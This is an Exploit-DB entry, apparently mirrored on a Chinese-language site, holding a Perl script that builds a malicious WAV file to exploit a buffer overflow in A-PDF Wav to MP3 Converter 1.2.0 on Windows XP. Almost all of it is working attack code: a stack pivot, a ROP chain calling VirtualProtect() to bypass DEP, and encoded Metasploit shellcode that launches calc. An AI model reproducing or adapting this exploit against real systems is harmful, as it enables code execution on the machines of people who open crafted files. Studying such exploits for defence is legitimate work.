A-PDF Wav to MP3 Converter 1.2.0 – DEP Bypass

Exploit Database
117 阅读

作者： h1ch4m

日期： 2011-05-13
类别：
- local
平台：
- windows
来源：https://www.exploit-db.com/exploits/17277/

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# Exploit Title: A-PDF Wav to MP3 Converter v 1.2.0 DEP Bypass

# Software Link: http://www.a-pdf.com/wav-to-mp3/a-pdf-wtm.exe

# Version: 1.2.0

# Tested on: Win XP SP3 French

# Date: 12/05/2011

# Author: h1ch4m (Hicham Oumounid)

# Email: h1ch4m@live.fr

# Home: http://net-effects.blogspot.com

# Big thanks to corelanc0d3r for the Help & the Precious advices

my $file= "Exploit.wav";

#######################STACK PIVOT###########################

my $EIP = pack('V', 0x100040CF);# RETN - wavtomp3.exe -** Null byte **

# not enough space for the ROP and Shellcode, so: sub esp,1030 & we land in the beginning of our payload(ROP)

my $SP = pack('V', 0x004A394A); # POP ECX # RETN [Module : wavtomp3.exe]** Null byte ** - [ Ascii printable - null byte]

$SP .= pack('V', 0x00001030); # 1030h

$SP .= pack('V', 0x00478D2C); # PUSH ESP # MOV EAX,EDI # POP EDX # POP EBP # POP EDI # POP ESI # POP EBX # RETN [Module : wavtomp3.exe]** Null byte **

$SP .= "A" x 16;

$SP .= pack('V', 0x00401D3C); # MOV EAX,EDX # RETN [Module : wavtomp3.exe]** Null byte **

$SP .= pack('V', 0x004130DE); # SUB EAX,ECX # RETN [Module : wavtomp3.exe]** Null byte **

$SP .= pack('V', 0x0041097B); # XCHG EAX,ESP # RETN [Module : wavtomp3.exe]** Null byte **

####################### STACK POINTER ###########################

my $ROP = pack('V', 0x00478D2C);# PUSH ESP # MOV EAX,EDI # POP EDX # POP EBP # POP EDI # POP ESI # POP EBX # RETN [Module : wavtomp3.exe]** Null byte **

$ROP .= "A" x 16;

$ROP .= pack('V', 0x00401D3C);# MOV EAX,EDX # RETN [Module : wavtomp3.exe]** Null byte **

$ROP .= pack('V', 0x10004642);# ADD ESP,18 # RETN [Module : lame_enc.dll]** Null byte **

############ VirtualProtect() Parameters############

$ROP .= pack('V', 0x7c801ad4);# VirtualProtect()0x7c801ad4 Kernel32.dll

$ROP .= "AAAA"; # Parameter 1

$ROP .= "BBBB"; # Parameter 2

$ROP .= "CCCC"; # Parameter 3

$ROP .= "DDDD"; # Parameter 4

$ROP .= pack("V", 0x10054000);# Writeable address

###################### PARAMETER 1###########################

$ROP .= pack('V', 0x0040808F);# ADD EAX,10 # RETN [Module : wavtomp3.exe]** Null byte **

$ROP .= pack('V', 0x1002B936);# ADD EAX,0C # RETN [Module : lame_enc.dll]**

$ROP .= pack('V', 0x0040F944);# MOV ECX,EAX # MOV EAX,ECX # RETN [Module : wavtomp3.exe]** Null byte **

$ROP .= pack('V', 0x00401D3C);# MOV EAX,EDX # RETN [Module : wavtomp3.exe]** Null byte **

$ROP .= pack('V', 0x1003C6A4);# ADD EAX,100 # POP EBP # RETN [Module : lame_enc.dll]**

$ROP .= "A" x 4;

$ROP .= pack('V', 0x1002B23D);# ADD EAX,20 # RETN [Module : lame_enc.dll]**

$ROP .= pack('V', 0x1002B910);# ADD EAX,8 # RETN [Module : lame_enc.dll]**

$ROP .= pack('V', 0x00402ABC);# MOV DWORD PTR DS:[ECX],EAX # RETN [Module : wavtomp3.exe]** Null byte **

###################### PARAMETER 2###########################

$ROP .= pack('V', 0x10002388);# MOV DWORD PTR DS:[ECX+4],EAX # XOR EAX,EAX # RETN [Module : lame_enc.dll]** Null byte **

###################### PARAMETER 3###########################

$ROP .= pack('V', 0x1003C6A4);# ADD EAX,100 # POP EBP # RETN [Module : lame_enc.dll]**

$ROP .= "A" x 4;

$ROP .= pack('V', 0x1003C6A4);# ADD EAX,100 # POP EBP # RETN [Module : lame_enc.dll]**

$ROP .= "A" x 4;

$ROP .= pack('V', 0x1003C6A4);# ADD EAX,100 # POP EBP # RETN [Module : lame_enc.dll]**

$ROP .= "A" x 4;

$ROP .= pack('V', 0x100023D1);# MOV DWORD PTR DS:[ECX+8],EAX # XOR EAX,EAX # RETN [Module : lame_enc.dll]** Null byte **

###################### PARAMETER 4###########################

$ROP .= pack('V', 0x1002B23D) x 2;# ADD EAX,20 # RETN [Module : lame_enc.dll]**

$ROP .= pack('V', 0x100023A8);# MOV DWORD PTR DS:[ECX+C],EAX # XOR EAX,EAX # RETN [Module : lame_enc.dll]** Null byte **

################### Jump To VirtualProtect() #####################

$ROP .= pack('V', 0x004027D9);# MOV EAX,ECX # RETN [Module : wavtomp3.exe]** Null byte **

$ROP .= pack('V', 0x0040BFC1);# SUB EAX,4 # RETN [Module : wavtomp3.exe]** Null byte **

$ROP .= pack('V', 0x0041097B);# XCHG EAX,ESP # RETN [Module : wavtomp3.exe]** Null byte **

#######################NOPS ###########################

my $NOPS = "\x90" x (300 - length($ROP));

#######################SHELLCODE###########################

# windows/exec - 223 bytes

# http://www.metasploit.com

# Encoder: x86/shikata_ga_nai

# EXITFUNC=seh, CMD=calc

my $shellcode = "\xda\xdd\xbf\xb0\x1a\x64\x4f\xd9\x74\x24\xf4\x58\x31\xc9" .

"\xb1\x32\x31\x78\x17\x83\xc0\x04\x03\xc8\x09\x86\xba\xd4" .

"\xc6\xcf\x45\x24\x17\xb0\xcc\xc1\x26\xe2\xab\x82\x1b\x32" .

"\xbf\xc6\x97\xb9\xed\xf2\x2c\xcf\x39\xf5\x85\x7a\x1c\x38" .

"\x15\x4b\xa0\x96\xd5\xcd\x5c\xe4\x09\x2e\x5c\x27\x5c\x2f" .

"\x99\x55\xaf\x7d\x72\x12\x02\x92\xf7\x66\x9f\x93\xd7\xed" .

"\x9f\xeb\x52\x31\x6b\x46\x5c\x61\xc4\xdd\x16\x99\x6e\xb9" .

"\x86\x98\xa3\xd9\xfb\xd3\xc8\x2a\x8f\xe2\x18\x63\x70\xd5" .

"\x64\x28\x4f\xda\x68\x30\x97\xdc\x92\x47\xe3\x1f\x2e\x50" .

"\x30\x62\xf4\xd5\xa5\xc4\x7f\x4d\x0e\xf5\xac\x08\xc5\xf9" .

"\x19\x5e\x81\x1d\x9f\xb3\xb9\x19\x14\x32\x6e\xa8\x6e\x11" .

"\xaa\xf1\x35\x38\xeb\x5f\x9b\x45\xeb\x07\x44\xe0\x67\xa5" .

"\x91\x92\x25\xa3\x64\x16\x50\x8a\x67\x28\x5b\xbc\x0f\x19" .

"\xd0\x53\x57\xa6\x33\x10\xa9\x57\x8e\x8c\x3e\xce\x7b\xed" .

"\x22\xf1\x51\x31\x5b\x72\x50\xc9\x98\x6a\x11\xcc\xe5\x2c" .

"\xc9\xbc\x76\xd9\xed\x13\x76\xc8\x8d\xf2\xe4\x90\x51";

my $junk = "\x41" x (4128 - length($ROP.$NOPS.$shellcode));

open($FILE,">$file");

print $FILE $ROP.$NOPS.$shellcode.$junk.$EIP.$SP;

close($FILE);

print "File Created successfully\n";

sleep(1);